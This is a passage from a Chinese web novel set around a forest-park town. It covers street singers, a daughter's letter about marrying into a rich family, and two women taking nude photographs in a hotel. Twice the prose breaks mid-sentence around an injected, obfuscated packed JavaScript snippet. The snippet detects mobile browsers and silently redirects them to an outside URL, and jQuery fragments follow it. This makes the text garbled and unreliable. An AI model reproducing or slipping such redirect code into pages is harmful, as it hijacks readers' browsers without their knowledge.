冬湖林场纳入国家森林公园后,随着游客的增多,木铺街来了好些卖唱艺人。这些卖唱艺人几乎都是一男一女,他们中或是爷孙组合,或是兄妹搭配,夫妻关系的还真没有,几乎都是男子上了岁数,女子是半大的女孩。男子演奏乐器,女孩开腔合歌。
唱的都是各处的乡间俚语民谣,以悲伤感人或诙谐搞笑来吸引人。
到了就餐的时候,他们在各个饭馆餐厅穿梭其间流连往返,边走边吹奏乐器,用优美的旋律引人注目,寻找?愿意点歌的客人。
客人愿意卖唱女孩留在饭桌上侍候,给客人斟酒沏茶,陪着说话,让人取笑逗乐。
这时候的客人大多是以荤段子调戏,只要不碰女孩身体言语不是过分,女孩都会笑脸相迎呢喃软语回应,决不会有半点疏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199094|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽怠慢。
女孩温绵,赏钱就会多,甚至于数倍。有些大方的客人兴起,众人面前豪爽,五十、一百地给赏。
这些远道来的卖唱艺人,热闹了冬塘古镇,增添了山乡小镇古朴风雅的特色。
这次芳妹叫来一老一少的孙女组合:老汉身上挎着二胡、小古筝、唢呐,手中还持有油光锃亮的葫芦,腰间糸着一面小鼓,神态安详,和霭谦恭;女孩十几岁,模样俊俏,身穿红色外套,头戴一顶毛线小帽,怀抱琵琶,颌首低眉面含微笑,款步于老汉身后。
他们是爷孙女组合,女孩的父亲在冬塘做油木工。这爷孙女组合来冬塘不到半年,却占据了冬塘木铺街卖唱的行头。他们一支歌一支曲十五元。比一般曲艺人多收五元。
现在他们爷孙女势头正劲。木铺街的人管老汉“葛老琴”。这葛老琴一来房间,站定好位置后,先双手抱拳于胸前作辑,一张嘴给大家唱个诺:
“各位老爷,当今社会是经济建设时代。常言说得好:世间人睁眼观看,论英雄钱是好汉;有了钱他诸般称愿,没了钱他寸步也难。首先在下和小孙女祝福大家发财,万事顺心。”
“这里没有老爷,你老先生别说客套话。尽挑高兴的调儿唱就是了。”
陶希圣老人也客气朝葛老琴说。
“像芳妹老板这宾客盈门,生意红火,赚得盆满钵满,当然应该发财。”
葛老琴捧着芳妹子奉承着主顾道。他在身后一张椅子上坐了下来。接着女孩弹拔着琵琶,亮开嗓子开腔唱了起来:
“麻蛙叫,水泱泱,男崽问我要婆娘,妹崽问我要嫁妆。那个要,大弟弟要,那个嫁,大妹子嫁。”
女孩的歌声,声音圆润;弹拔的琵琶,指法谙熟,演唱的曲儿舒缓悠扬。这只是起个头,唱的是冬塘当地阳春三月男女调情的一支短歌民谣,再下来才是正式唱段:
“九尽春回杏花开,鸿雁儿飞去紫燕儿来。蝴蝶儿双飞过墙外,想起来久别的奴夫张才。张才夫出门十余载,一十二载未曾回来。为奴夫在神前我挂过彩,为奴夫我许下了吃长斋。为奴夫在门外我算过卦,为奴夫在月下常徘徊。……
“那位说了,你满心欢喜盼郎君,鸿雁儿飞来传喜讯。”老汉合声,悠扬的二胡也拉开了。
这个时候,气氛很快就热烈起来。大家边吃边聆听,一桌子的人鸦雀无声。要是那些喜欢热闹的食客,通常这时会拿卖唱的女孩儿逗乐戏谑。
女孩儿虽说正值妙龄少女的年纪,但情窦未开,对客人的调笑也已习以为常,脸上总是挂着可爱的笑容。
“三更起别娘子把柴扉掩,进城来到酒馆解解馋。走到三里桃花店,又到五里杏花园。人常说美景良宵人称赞,我却是来——把酒当歌胜神仙……
这一段葛老琴没有合声,女孩儿自弹自唱,唱完后自然连贯转向另一段:“从上下仔细打量女裙钗,只见秋波婉转神仙态。为什么卖笑青楼流落到烟花巷来,双眉紧锁愁容展不开……
“那位问得好,何为三少?何为三不少?何为三惧?何为三不惧?天下人多豪杰少,山上石多金玉少,世上师众名师少……”
葛老琴合声应辞作答。这似有评弹与说书的跨界融合,一唱一和、一应一答,配合默契。初听说唱的以为复杂,其实都是一套一套的说辞和唱段。
……
这只是葛老琴爷孙女一曲欢天喜地腔调。
“雪里泼墨自然黑,蜜里黄连终是苦,自己久悟理不通,每日枉来费功夫。跪朝龙辇呼万岁,帝王风骨也枉然。一朝云角刀枪起,寿皇亭里话凄凉……”
“这小调我也会哼哼几句,只是没了嗓子,喊不出声来。当年你们这么大,也登台唱过好几回戏。”
陶希圣老人想起年轻时的快活事,告诉大家说。老人禁不住兴起,放下正吃的碗筷,也随口吟唱了一段:
“‘一介农夫,虽居耕乡里,僻壤闭塞,也苦于艰辛农事,然性灵于书画,翰墨重彩间,教学相长;有名师也隐居于此焉?只缘身在春日百花来酿酒,秋来登高望去远,想要真正活出个快意洒脱似神仙’。”
老人唱到这,停下来向大家解释说道,“这是现代辞令,虽然说唱得不连贯,像是断了线的珠子,却字字道出山里种田读书人的心里话来。”
老人说上辞来接着再唱一段:“一个将军一个令,一朝君子一朝臣。你方唱罢我登场,千恩万谢领路人。……戏中百面人生,戏外潇洒自然;人生哪能多如意,万事只求半称心……
“(辞)自古道王候有种,帝王无相。什么帝王家风骨?王室后裔确不假。说得好听无非是主子腿后的奴才样。(唱)……难道说我们村野无正气?山人无风骨?焉知正是我平民风骨,才撑得住这一片明亮的天。”
……
11. 第十一章
冬雪不会错过季节,正是它洒脱纷飞的时候。一场大雪过后,小雪下下停停。
屋后的山坡盘绕的藤蔓上结着一层厚厚的透明的冰,就像是一根根缠绞在一起干净无比透明的塑料管。林间的树枝杈上垂悬粗细不一长短不同的冰柱子。一些没有被积雪覆盖的溪流,静无声息地在雪地上流淌。
女儿苏姝去了大叶,她的大学比何穗的学校放寒假早些日子。何穗在发出那封信十天后,收到了女儿的回信。女儿在信中这么说:
“我想到我父亲,他是因为贫穷才去偷窃。仅仅有过一次,他得一辈子背负着这个罪名,这个污点直接毁掉了他的整个人生,让他自暴自弃。他除了让人嘲笑鄙夷之外,也导致他的女人你、我的母亲离开了他。贫穷摧毁了我们的道德力量,甚至是推毁了我们的道德堡垒。
“我决定要改变命运,而且照我的方式要好好地养尊处优地活下去。当然这需要趁自己年轻的时候努力的付出,努力读书学习,努力成就自己具有高贵素质的人。当然我知道,仅仅这些是远远不够的,这些只是自己资本一部分。
“女人的资本,最终还是取决于跟着什么样的男人。尤其是像我这样来自于普通家庭普通的女孩。要不无论怎样努力工作,拼命劳累,想要改变自己的生活,那怕是付出全部,也将徒劳无事。
“为了改变自己的命运,这是最好的机会,一旦错过,否则后悔都是为了错失此机会的痛苦,我一定会把握并利用这个机会,去结识贵人,何况这个贵人还是自己身边的人,这都是命运的安排。这么好的机会,我岂能错过?
“倘若生活一切如愿,女人谁还肯为艰难苦恼的生活去努力,面对操心的今天,担忧的明天,还是那的愁绪满怀的昨天。
“婚姻对于女人意味着生命——甚至还甚于生命。既然如此,不如走直径,利索来个利索。
“人类自有始以来,一直在进化过程中追寻幸福快乐的生活方式,这种行为是与生俱来固有的原始本能,像是太阳照射出来束束的光芒,大地上长出每一株草木。每一次面对新的现实生活我都会放大自己的瞳孔,从中寻求于自己有价值的东西。这当中自然包括男人。
“对于大多数泛泛之辈来说,任何一个男人和女人为了让自己活得美好、活得幸福,都会设法使出一切手段。我当然也不例外,只能这么做,在自己少女的青春绽放出美丽的光彩的时候,更应该千方百计去俘获自己心仪的男人。
“不过,我真的喜欢上他,这一方面也许我们母女俩心有灵犀。在那年枫叶红的时候,我看你和他双双走进森林,我想妈妈一定会拥抱这个男人。那天晩上你在他房间过夜,我是知道的。你也知道我在那个时候也是过来人,知道男人和女人一起会做什么。尽管当年我和小男生还没到深入发生男女□□关系那种地步,但已经懂得了拥抱和亲吻。
“读万卷书不如行万里路,行万里路不如阅人无数,阅人无数不如多结识有智慧的富贵之人。这句话被越来越多的人认可。甚至被视为至理名言。
“我会让自己努力学习,博览群书,成为优秀的女人。我必须这样做。过去我希望自己永远年轻貌美,如今不这么幼稚肤浅地想了,说明我已经是一个有文化有知识有思想的女孩,以适应?配上一个像他一样的有智慧富有才华的男人。当然,最好的选择最好是他。到时候我会施展自己浑身的解数,把他拥入我的怀里。
“我深谙什么叫心领神会,我会努力朝着与他心心相印的方向发展。我已不是当年跟你在一块的黄毛丫头了。你二次婚姻的失败就是一个很好的例子。男人不优秀女人就会窝囊一辈子;男人窝囊,女人就会在凄苦中暗无天日终生。更何况我们母女俩还是一对优秀的女人。
“在过去封闭的社会里,扼杀了人的智慧和天性。在人类发展到今天的当下文明社会里,我们要打破世俗的束缚,冲出自身困住的牢笼,去追求自己的新生活。这不是为了扬眉吐气。就象一条沐浴在阳光之下、岸边是绿色的草木和缤纷的花朵、永无休止欢快流淌的小河。
“我很快满二十二岁了,眼看大学毕业就要走入社会,接着就要象许许多多的女孩一样恋爱结婚生子,一边生存一边完成人生的使命。为了好好的生存下去,我必须要摒弃自己的这个阶层,改变命运。因此须好好努力付出为以后作为一个女孩过度到一个女人应该具有的本领。这一切成功之时,剩下的就是如何做一个好母亲了。我想我会做一个好母亲。做一个好母亲,这是像我这样普通女孩最高尚的选择,也是最幸福的事情,否认它就是否认人类的存在,藐视它最终还是在藐视自己的本身。也可以这么说这是绝大多数女人一生的终极目标。
“我一直在模仿优秀的女人如何作女人。我知道我出身低微,如果我不努力,我将继续继承由于家庭原因和自己有限的能力所致的所有的艰辛和无奈。我想我一辈子再怎么努力,也不过是过着普通人苦苦挣扎的生活。既然有这样选择创造未来美好的生活的机会,我岂能放过?我会竭尽所能去创造,决不想让自己事后去遗憾。
“我现在想怎么接近他。上次我跟先生说毕业后去他公司,先生同意了。我想只要我用点手段,俘获先生不会太难。你当初是怎么俘获先生的尽管教女儿。母女齐心,其色断金,没有什么艰难的事情。
……
二只老鹰从山林里飞出来,在天空中比翼翱翔,它们最后降落在不远处人家的屋顶上。在这冰天雪地饥寒交迫的季节里,常常有林中的动物光临周边的村庄觅食。这二只老鹰也不例外。
白天飞禽在冰天雪地的上空盘旋,到了寂黑的夜里走兽开始从林间洞穴里出来。这些飞禽走兽它们并不畏惧人类,不光是夜晚悄悄来临,就是大白天也会在附近村庄里转悠,寻找人们丢弃的食物。
这些飞禽走兽在这冰天雪地艰难的岁月里,奋力寻求它们的生存之道,人类何尝不也是如此。
早上的时分下了一场小雪,这些白色的小点稀稀疏疏地飘落,再柔软地融化在地上。午后的太阳光升起,带着丝丝的暖意,从窗户的玻璃外面映衬进来。
读完女儿的信后,她觉得神清气爽,心情愉快。女儿与自己不谋而合,让她立马轻松起来。
即使让周家女人察觉,又有什么要紧?只要能占据周家一席之地,她和女儿可以赌上自己整个人生,并以此证明自己不畏天的勇气,也不存在受到所谓的良心遣责。她觉得无需担心害怕,压抑自己。
况且她相信这个年轻男人不会让自己和女儿闹得那么不可收拾的地步,他有能力会把事情处理得天衣无缝。很明显,女儿在信中对这个男人已经生出温暖而亲切的感情。
对大女儿她是倾注了自己的心血,从小教她画画、摄影,让她去练舞,和她一起去观摩各种艺术展览;经常抽时间带她出去旅行。这一切,只是培养女儿雅致的气质,拓宽她的视野。她相信女儿不会因为父母的婚变扭曲自己的性格。
“思想的力量往往是在思想者本人远去很长一段时间后,才会有所感知。这中间它会因为反应迟钝的抑郁浪费掉大量的时间,也会造成许多遗憾和悔恨,直至让自己伤害终生。我不一样,我要让思想的力量与现实生活中的事情马上兑现。
“我们受命来到这个世界,每每遇见不平艰难之事,思想就会有所感悟,更大的打击就会给自己心底最猛烈的撞击。
“我看过一个教授写给女儿的信。信中有一句话,让我记忆犹新。父亲告诉女儿说,女儿在十岁上,作父亲就在物色女儿长大得找一个什么样的男人。我想这个父亲是很理智的。也就是说他在女儿小时候就开始考虑她的婚嫁了。到了女儿长大成人了,父女俩经过十几年的深思熟虑,知道怎么物色什么样的男人了。”
……
女儿在信中所说,犹言在耳。
她痛恨贫困,觉得那是一种耻辱。作为年轻的女孩,她当然有着自己美好的梦想。
母亲二次婚姻的不顺和失败,女儿看在眼里,并深深地理解。她相信这个世界上,应该有一块属于自己的地方。她不会让自己去过那种听天由命窘迫的生活。当她收到母亲的信时,她感觉非常欣慰。
女儿理解母亲,就像母亲理解女儿一样。
母女俩心心相印,彼此对此有着强烈的期待也充满着自豪。
如果女儿能够完成自己的心愿,只要能够攀附周家,这样的愿望能实现的话也确是来得太轻易了。
那一天在给邮局发信时,作为母亲她有过短暂的犹豫。她一再问自己,值得这么去做吗?这么做,就是把女儿送到美好幸福的天堂?她简直不敢相信自己会给女儿写这么一封荒诞离奇的信。
女儿从生下来到成人,先是把她抱在怀里,再看到她躺在温暖的被窝里,目视着她蹒跚学步,牵着她的小手蹦蹦跳跳地去上学;女儿长大了,看着她花瓣般嫣红的脸庞在灯光下做作业;再挥手告别去异地上了大学,如今要将女儿捧上给自己年轻的男人。这到底算是怎么一回事呢?
第一次的婚姻失败,第二次婚姻的不如意,自己的一生中,尽管诸多的沮丧,她知道自己并没有坠落的资格,她始终矢志不渝地坚守自己的信念,生活还没有糟糕到一败涂地的地步,自己也从未有过这么颓废的念头。
就是跑到冬湖莽莽的原始森林里,像梁惠妍一样隐居于冬湖尼姑庵与世隔绝,也逃脱不了还是要找男人生孩子依赖于男人求得生存。这就是现实生活中的责任和无奈。
要么向现实妥协,成为没有思想碌碌无为的普通人,过着苦苦挣扎听天由命的日子,永远卑躬屈膝委屈求全;要么不向命运低头,牢牢抓住投向自己头上的一柱光芒——牢牢地抓住年轻男人,走向新生,让自己和女儿理直气壮地跨入周家的府邸,成为周家家庭成员一分子。
今天下午她约了诗筠,晚上得一起住宾馆。云子明天上午带她们俩人一起去省城长河,再从长河乘飞机去大叶万柯公司。
一阵风掠过屋顶,发出呜呜的风鸣声。风鸣声来自于屋子的侧面那座小山之中。这位于山城山脚下的房屋,不管是什么季节,从山林里传出来风的风鸣声,象是在诉说遥远的岁月里过去的故事。
何穗从房间来到后屋檐下,抬头往屋后的山坡上望去。丈夫老赵得知她要去大叶后,昨晚回家里住。他们夫妻俩早在十几年前已经分房睡,何穗的卧室兼画室,有时还得用作冲洗胶卷的暗房。老赵单独住他隔壁的一间小屋子里。
年逾六旬的老赵依然保留山区农民的本份,在房前屋后开辟了一大片菜地。春季即将来临,他现在种上春节期间吃的白菜和萝卜,还有芹菜菲菜香菜。
这后屋山坡地势较高、土质疏松、排灌方便、是他们家主要的菜畦地。为防雨雪的天气,今天一早,老赵佝偻着身子在菜畦地上用塑料布搭遮荫棚,与他寸步不离老狗在菜畦地到处嗅闻。
老赵不管走到哪里,老狗都会紧随其后。他吃饭的时候,它就趴在地上凝视着他;到了晚上,老赵要睡觉的时候,它就钻进他床头的温暖的狗窝里,早晨他起床,老狗从狗窝里钻出来。
他分分秒秒守候着老狗,唯恐一不留神,他和老狗之间,不小心对方就会消失一样。
好像老赵的伴儿是他这只形影相随的老狗。
作为妻子何穗有时也从心底里愧疚于年老的丈夫。她不知道老赵是否有和自己同样的感受。
只会一心一意地干活的老赵,身上好像总有使不完的力气,一刻也不能停下来。要是不抽烟,神情木讷迟钝,现出几分笨拙和痴呆。这完全是一个已入暮年老年男人的姿态。
她看到老赵的毛衣后背起了皱褶并在腰带上部堆出一个鼓包,自己曾帮他展平皱褶将鼓包部分掖进他的裤子里,现在还是这样露出来,显得有一点邋遢。
回忆起自己和老赵的婚姻似乎有点荒唐可笑。十八年前,她在照顾神志不清迷糊中的老赵时,已经把他当作家人。老赵在周瑞年的安排下从西山精神病医院康复出院,还是住在她家里。
那时候老赵前后已经住进家里二年,自己是一个离婚的女人,与老赵这么一个单身男人同住一起,外面的人虽嘴上夸她是一个心地善良的好人,但言语中也暗示是一个单身男人和一个离婚女人住在一起平平淡淡过日子的一家人。
她和老赵就是在这样的情况下自然而然地结了婚。谁也不感到意外。尽管老赵大她二十三岁。
“一月如眼,看过漫漫的长夜。
白昼解不开的结,暗黑里熬孤寂。”
她记得在第一次婚姻失败后读过的一首短诗。女人并没有为自己第一次婚姻的失败感到不幸,也没有让自己去悲伤。
但第二次婚姻给自己带来的沮丧,是自己婚后没想到的事情。
平时的日子老赵住在店里,回家也是忙他的菜畦地,大多数俩人一起相对无言。只要她不问他话,老赵也就不会言语。
何穗相信,如果她和他一起朝夕相处续持十几天甚至更久一点,他也会一直保持沉默不语的状态,直到自己开口与他说话他有一两句话回应为止。
事实情感上也和年老的丈夫有了分歧,但心里并不讨厌。这是因为源于俩人需要一起共同承担家庭的责任和义务。
很快就要与年轻男人相见,现在回忆与年轻男人一起,心里甜滋滋的感觉让她心满意足。
女人回到屋里,穿上外套,将手伸进手套里,把单车推了出来。从她身后传来老赵粗犷的喊声:“就去了?就去了吧?”
“去了。就去了。”
她模仿他的喊声回应他,带着几分粗鲁的一个妻子告别丈夫去见情人的温柔。这声音滑过积雪的旷野,随着看不见的冷冽的寒风霎那间就飘散而去。
撩开窗帘,可以看到外面庭院里修剪过的草地环绕着围墙,高大的桉树上攀爬了光秃的葡萄藤,旁边一幢外面同样刷着白墙的三层红砖房的宾馆侧楼。姑娘没想到,在这座小城还会有这么幽雅的地方。
靠窗的台面上,青花瓷的小口瓶里插着红色塑料的百合花。每株百合花的茎上都有两片三片叶子。叶子和花,形状和颜色在天花板柔和的灯光照耀下,优美而鲜艳。
姑娘凝视着一会儿百合花,突然想起似的,走到屋子的一角,把自己的小皮箱打开,拿出相机,对着自己下榻的房间、这窗台上的百合花拍摄起来。
一会儿姑娘脱去身上的羽绒服,让里面红白相间条纹的毛衣露在外面,又从花瓶里抽出一支花,利用等何穗的时间,把相机放在架起的小脚架上,饶有兴致对着自己手持百合花自拍。
走廊上传来轻柔的步履声,一位梳着短发的服务员领着何穗走了过来。没待服务员敲门,诗筠过去把门启开。
何穗进来,看到诗筠手中拿着一支花,再看到台上的相机,连声问道:
“来了好一会儿了吧?在观赏花哪——在拍照呢?”
“是有一会儿了。这花多漂亮啊。”
姑娘扬起快活的声音说,现出一副天真可爱的样子。
她把手中的花举起来让何穗看,伸出另一只手接过她的背包:“我家门口也有。只是没这么大朵。也没这么好看。”
“小孩子喜欢假的。因为假的仿制的比真的好看。这只有孩子天真稚嫩的童心才会有。”
何穗说,让诗筠把她的背包放在屋里另一张台面上。这张台面上摆放着各式各样的糖、饼干、水果盘;盒装的茶叶和咖啡;红色的皮夹菜谱列有高档菜肴。
“这放在这里的东西可以吃吗?”
姑娘问道。初次入住这么高档豪华的宾馆,她觉得很稀罕,也有点受拘束。
“这房间里的东西随你吃,不够的话,打电话让服务员再送上来。”
何穗回答姑娘说。她取下手套,解下围巾,在沙发上坐了下来。
姑娘“嗯”地应了一声,过去从水果盘里拿起一颗枣,小口地咬着吃了起来。
“第一次住这么好的宾馆。那天去牛家塆,认识那么多新鲜事物,吃过从来没有吃过的三明治,第一次打手提电话,在先生房间听方先生讲雌雄同体阴阳平衡学说,大开眼界啦。这样的场面这样的见识,恐怕一辈子也难得有几次。”
姑娘边嚼着口里吃的,微微地动了动嘴唇,说。
“这样的场面这样的见识,以后你就在里面过日子了。”
何穗对姑娘说,“你箱子也驼过来了?”
她看到屋角姑娘的小皮箱,问。
她自己只带了一个小背包过来。晚饭后祥子安排车让人去帮她拉箱子。
“我都带来了。”
“到底是年轻人。驼这么多东西。”
何穗站了起身,她从自己的背包里拿出睡衣,放在床上,脱去身上的外套,并把里面的衣服扣子解开。一如往常住进这宾馆一样,放下行李后先洗个热水澡。自己家里没有装热水器,冲洗没这么方便。
“姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199095|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,从今往后,你就是我的姐啦。你一定得答应我。”
姑娘拉着何穗的胳膊甜甜地对她说。
“你看你迫不及待的样子。等你去了万柯之后发达了,再认我这个‘姐’吧。”
“去不去我都要认你作姐——姐姐!”
姑娘拉着何穗的胳膊不住地晃着叫着。
“以后你出息了,成了贵妇人阔太太,可别忘了我就是了。”
何穗边说边拿起暖气机遥控器,把温度调高一些。她脱得只剩下内衣。
“身上出汗了吧?一会儿你也洗个热水澡?”何穗把脱下来的衣服放在床头的椅子上,从架子上取下浴巾披上,走向浴室时侧身朝诗筠问。
“我等你洗完呀。”姑娘高兴地回答。
隔着玻璃门,水气的氤氲和灯光的照射,洒落在玻璃上的流畅水珠象是凹凸的笔触、优美有韵律画面的线条,和映现在玻璃上轮廓分明晃动的人身,如同是浮现在玻璃门上水墨般迷离的画面。
“姐,给你拍张人体写真啊。”
姑娘朝映现在玻璃门上人的美丽的形体和轮廓,提高嗓门大声地说道。
“这样美吗?”浴室里的女人大声应道。
“美轮美奂啊。”
“我不信。”
“这简直就是一副写实的人体油画——我是说你出来拍嘛。”
“我不行呐。我们不比你们年轻人有这么先潮的思想。也上了岁数了,身材走样了。可我也没看过你的人体写真呀。你什么时候让我好好欣赏欣赏?你是完全行的。还不如我来拍你吧。”
“我拍过自己,毁掉了,没有拍好。拍人体要有太多的讲究。自己拍自己,究竟不行。再说我们不是专业摄影的。”
姑娘回答何穗,来到浴室门口。何穗转过身来从半启开的门里,笑着看着姑娘。
她自己曾经对着镜子画过自己的裸体,也想过为自己用相机拍下自己的人体,但不知为什么始终没能做到。现在姑娘竟然大胆地提出来,让她感到既惊讶又觉得不奇怪。
姑娘纯净黑眸的眼睛、小巧精致的鼻子,温馨气息的滑润濡湿的玲珑的小嘴。
俩人志趣相投,同是美术专业出身,有过揣摸过和研究人体,彼此了解对方出于专业知识的思维方式或者兴趣所致。不管是为所谓的艺术还是为了以后给自己留下的纪念。
“试试?”
她象是在问自己又象是在答应着姑娘。
浴室哗哗的水流夹带着热气腾腾的水蒸汽,浑蒙蒙地弥漫开来。
“回来冲洗出来一定很美。你拍过自己的人体写真吧?我知道每一个画画的人都会光着身子对着镜子画自己,但不一定都拍过自己□□的身体。”
姑娘看着浴室里的女人光溜溜的身子说。
女人忍住笑,看着眼眸明亮的姑娘,叮问:
“你真要这样?”
“真的。”
姑娘肯定地回答,娇俏妩媚的脸上洋溢着灿烂的笑。
“那就让俩个女人疯一次吧——你姑娘家不在乎,我一个老女人难道还怕什么呢?”
何穗说,忍不住噗嗤一声笑了。姑娘比何穗还开通,到底是新时代接受过高等教育的女性。
姑娘转身离开,从自己的小皮箱里,拿出一套粉色的睡裙,抖开,放在床上。
“向日葵、鸢尾花、燃烧的田野……”
姑娘哼着高兴的小曲儿,开始慢慢褪去自己的衣服。
“画画,我是憨人画憨画。一个字就是‘憨’。但是我拍照片的技术好过画画的技术。”
从浴室里传来女人的话语声。
在冬塘木铺街那天何穗把雨秀的话问诗筠,让诗筠惊讶了好一会儿。当然她没有马上应承下来。作为一个小县城普通人家的女儿,好不容易找到一份自己喜欢也还算是份体面的教师工作,不是要说放弃就放弃的事情。
从牛家塆回来后第三天祥子以周家的名义正式找她问话,在何穗再三的怂恿下诗筠犹豫了会儿终于答应了。
姑娘要求自己的工作与美术专业相关,其他没要求太多。祥子告诉她说,去大叶万柯公司可供她选择的工作:一是与美术专业相关的广告设计部门工作,再就是给要她去的万柯公司副董事长兼人事部总经理雨秀当助理,待遇方面肯定比在乌浟当中学老师好很多。
如果时光倒流,自己和姑娘一般大,何穗肯定自己也去了万柯公司。从人的生存法则来说,不管是男人女人,都应该具有那种刚健的秉性,用以足以在严酷的现实生活的斗争中让自己获取一席之地。
失败是除了碌碌无为之外,错失机会也一样均等。艰难的生活往往是这二者之间。
从不曾努力去争取成功,是更为糟糕的事情。她相信在人的一生中,任何的收获都要通过努力去得到。
作为处于社会开放的新时期的姑娘,他们富有文化,接受新时代文明全新的思想理念,敢于迎接现实世界的挑战,毋需受世俗观念的束缚,更愿意生活在丰富的物质世界中。
姑娘把自己身上最后的一件东西发夹取下来,赤身坐在镜前,松开发束,又厚又黑的头发,披散开来。
何穗沐浴完,披着浴巾从浴室里走出来。她还是有点担心地问:
“万一失手有人看到了呢?”
“自己保管好好的。怎会失手呢?”
姑娘落落大方,犹有兴致地说,“反正是自己冲洗,冲洗出来后,只留下二张自已保存,把底片毁掉。”
“到底是新时代思想就是开放。我们青春的时候,穿着露胳膊的衣服都不敢走出家门。”何穗心情舒畅,象是自言自语地说。
何穗对青春时期的自己没什么认象。对于自己的姿影也仅仅从当年少得可怜的几张照片里,窥视一部分。那时候青春年少的容貌,自己最好的年华就是那样稀里糊涂地过去了。
作为美术专业的毕业生,见过同性异性裸体不少。诗筠现在光着身子在何穗面前,并没有什么扭捏。
何穗曾经对着镜子画自己的裸体。她也想过为自己用相机拍下自己的裸照,但不知为什么始终没能做到。
何穗把手绕到她的脑后,替她拢起头发。她带着质询的口气问姑娘:
“老实告诉我,有让男人拥抱过?这么大的姑娘,如果没有过,会很遗憾的。我想你这样美丽的姑娘,不应该有遗憾的。”
姑娘犹豫了一会儿,带着一丝的羞色告诉她说,大三快毕业的时候,谈过一次短暂的二个月的恋爱,相互间有过拥抱。
“相处不到十几天,他伸手强行的时候,我醒悟过来,挣脱了他,跑开了。大概有半年时间,总是闷闷不乐,老想这事上,心里上造成了阴影。后来看了一些书,才慢慢好起来。到现在就完全想开了。其实也没什么事,是自己想倔了。”
“男女之间的事情上,往往是心里上的伤害大于生理上的伤害。当然也不能简单归于好与坏。很多都是有些人不可以接受的,有些人却完全可以接受。就像我们那天在牛家塆吃三明治,同样吃的东西,有些人很喜欢吃,有些人却很讨厌吃。总不能把三明治看成好与不好吧?这与思想见识与接受教育的程度有关。”
何穗说。她把姑娘的头发拢起来后,双手搭在姑娘光滑白嫩的肩膀上。
姑娘告诉何穗说,在大学里,同一间宿舍里的同学轮流做人体模特。据说有些男同学,因为自己的身材不好,只好花高价找身材好的同学来代替自己,要不就接受大家严厉的惩罚。
“我以前想要是拍自己的写真照,只能等着自己的男人来完成。就没想到你在我身边也可以。当然对于我来说,是不会有男人替我拍写真照了,你呢,肯定会有。”
何穗走到台前这才拿起相机对姑娘说。
“为什么要这样呢?”
姑娘有点不解地问。
“为什么这样呢?就担心万一洗出来的相片一不留神失手让人看到,在这小小的山城,传扬出去,光是人们的唾沫,都会把人淹死。要是自己的丈夫拍的,就是不小心让人看到,也就不怕了。反正是自己的男人。”
何穗说完,举起相机对着心情舒畅的姑娘,开始拍起来。
想起自己青春的时候,为什么当年不留下自己的姿影呢?尽管一直以来从没放弃过手中的画笔。现在面对年轻美貌的姑娘,自己有一种青春年华错失过后空虚感。纵然那时候有着和姑娘一样的青春,一样的美貌。
12. 第十二章
各种不同的姿式拍完后,俩个光着身子的女人并排地躺下来,绵绵的话语成了她们之间友谊的象征。
“住这样的房间,真舒服啊!”
躺在床上的姑娘,心情很惬意。她轻松呼出一口气满是感叹地说。
“以后你就这样过日子了。”
何穗这句话,让诗筠甜蜜地笑着。姑娘对即将到来的新生活充满着幸福的憧憬。
“姐,告诉我雨秀总经理是个什么样的人吧?要是我在她身边工作,怎么不让她生气。”
姑娘侧过身子,微伸脖颈,脸对着脸问何穗。
“噢?你说起雨秀?雨秀是最好相处的了。”
“我想一定是跟姐一样,美丽大方,热情开朗,乐于助人。”
“我这大大咧咧的暴脾气怎能跟雨秀比?她是冬塘最温驯的姑娘,也是最漂亮的姑娘。那时候人家说她是寄存在人间的仙女。有些小伙子翻过几座山,带着干粮来牛家塆小学看她。”
何穗说。她把身子往床头上的软垫上挪了挪,让自己的头靠上去,侧身与姑娘面对面。这样躺着的姿势,她感觉很舒服。
“我认为姐是最好的人了。”姑娘甜甜地说。
“你这小小的嘴巴,净会说奉承话。”
何穗往姑娘脸上瞄了一眼说。她右手弯着小指头在她的嘴唇上轻轻刮了一下她,再把手放在姑娘的腰际,目光移到她白皙柔嫩的囗房上。姑娘囗房形状完美,囗头很小,略显尖形,呈桃红色。这是纯净的处子之身。
“雨秀聪明能干,会关心体贴人。”
何穗说。并把在□□雨秀父亲柯景泉被打成□□遭批斗,全家下放到冬塘接受劳动改造的遭遇告诉姑娘,说完这一切后,最后道:
“雨秀那时很苦,受了很多的委屈。”
“她是周书记媳妇儿怎么会呀?”
姑娘感觉有点意外。
“那时候她一家刚来冬塘时,雨秀也才十二三岁吧。与林子还没好上呢。”何穗说完,见姑娘定定的看着自己,继续说道,
“上次我们牛家塆周家府邸看的云锦是地主老婆梁惠妍和女儿小花绣的。□□斗地主时期,雨秀暗地里帮助小花不少。你说这么好一个人,你要是跟在她身边的话,担心什么呢?”
“我担心到时候干不好,怎么办啦?”
姑娘还是注视着女人问。
“跟着优秀的人,诚实勤勉,谦卑谨慎,不骄不躁,专心致志地去干好自己的事情。周家上上下下都懂得一句话‘夾紧尾巴做人’,‘打落牙齿和血添’。你看牛家塆周氏家族的人,云子祥子乃子他们,个个谦卑的很,别说什么架子,一点也没有。电视上的周书记,要是没有介绍,还以为他就是一个普通老干部。现实生活中的他,比电视上的还要朴素普通。”
“听说雨秀姐还有个叫雪秀的妹妹,不知所踪,还有人说跳湖了?是为了先生。”
“噢?这事你也知道了?”
